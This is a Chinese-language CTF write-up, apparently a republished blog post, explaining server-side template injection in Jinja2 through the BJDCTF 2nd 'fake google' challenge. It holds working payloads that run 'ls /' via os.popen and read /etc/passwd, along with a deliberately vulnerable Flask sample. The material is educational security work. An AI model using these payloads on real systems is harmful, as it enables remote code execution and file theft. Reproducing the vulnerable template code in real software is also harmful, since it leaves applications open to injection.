码迷,mamicode.com
首页 > 其他好文 > 详细

ssti注入(服务器模板注入) && BJDCTF 2nd fake google

时间:2020-07-12 14:44:57      阅读:66      评论:0      收藏:0      [点我收藏+]

标签:用户   服务器   concat   sse   net   执行   显示   text   一个   

参考链接:

https://www.cnblogs.com/buchuo/p/12559408.html

https://www.cnblogs.com/tiaopidejun/p/12357245.html

https://www.cnblogs.com/gzs-monkey/p/10727330.html#autoid-0-0-0

0x00:SSTI介绍

ssti注入又称服务器端模板注入攻击(Server-Side Template Injection),和sql注入一样,也是由于接受用户输入而造成的安全问题。

它的实质就是服务器端接受了用户的输入,没有经过过滤或者说过滤不严谨,将用户输入作为web应用模板的一部分,但是在进行编译渲染的过程中,执行了用户输入的恶意代码,造成信息泄露,代码执行,getshell等问题。

这个问题主要是出在web应用模板渲染的过程中,目前比较流行的渲染引擎模板主要有:smarty,twig,jinja2,freemarker,velocity

 

百度百科:模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。

 

0x01:测试方法

BJDCTF 2nd fake google技术图片

 

 

 

输入任何东西,都会显示在页面上

<script>alert(‘1‘)</script> 还有XSS但没用

测试payload

?name={{2*3}}
?name={{1+2}}  //这个需要把 + URL编码一下  即 {{1%2b2}}

技术图片

技术图片

 

目录

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__==‘catch_warnings‘ %}{{ c.__init__.__globals__[‘__builtins__‘].eval("__import__(‘os‘).popen(‘ls /‘).read()")}}{% endif %}{% endfor %}

技术图片

 

 

 python3 读取文件

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__==‘catch_warnings‘ %}{{ c.__init__.__globals__[‘__builtins__‘].open(‘/etc/passwd‘, ‘r‘).read() }}{% endif %}{% endfor %}

 技术图片

 

 

ssti注入工具

https://github.com/epinna/tplmap  

 

一题:https://blog.csdn.net/qq_40827990/article/details/82940894

python  OS 模块执行命令

 

 

简单的漏洞测试代码

from flask import Flask, request
from jinja2 import Environment

app = Flask(__name__)
Jinja2 = Environment()

@app.route("/page")
def page():

    name = request.values.get(‘name‘)
    
    # SSTI VULNERABILITY
    # The vulnerability is introduced concatenating the
    # user-provided `name` variable to the template string.
    output = Jinja2.from_string(‘Hello ‘ + name + ‘!‘).render()
    
    # Instead, the variable should be passed to the template context.
    # Jinja2.from_string(‘Hello {{name}}!‘).render(name = name)

    return output

if __name__ == "__main__":
    app.run(host=‘0.0.0.0‘, port=80)

 

1

ssti注入(服务器模板注入) && BJDCTF 2nd fake google

标签:用户   服务器   concat   sse   net   执行   显示   text   一个   

原文地址:https://www.cnblogs.com/liqik/p/13288098.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!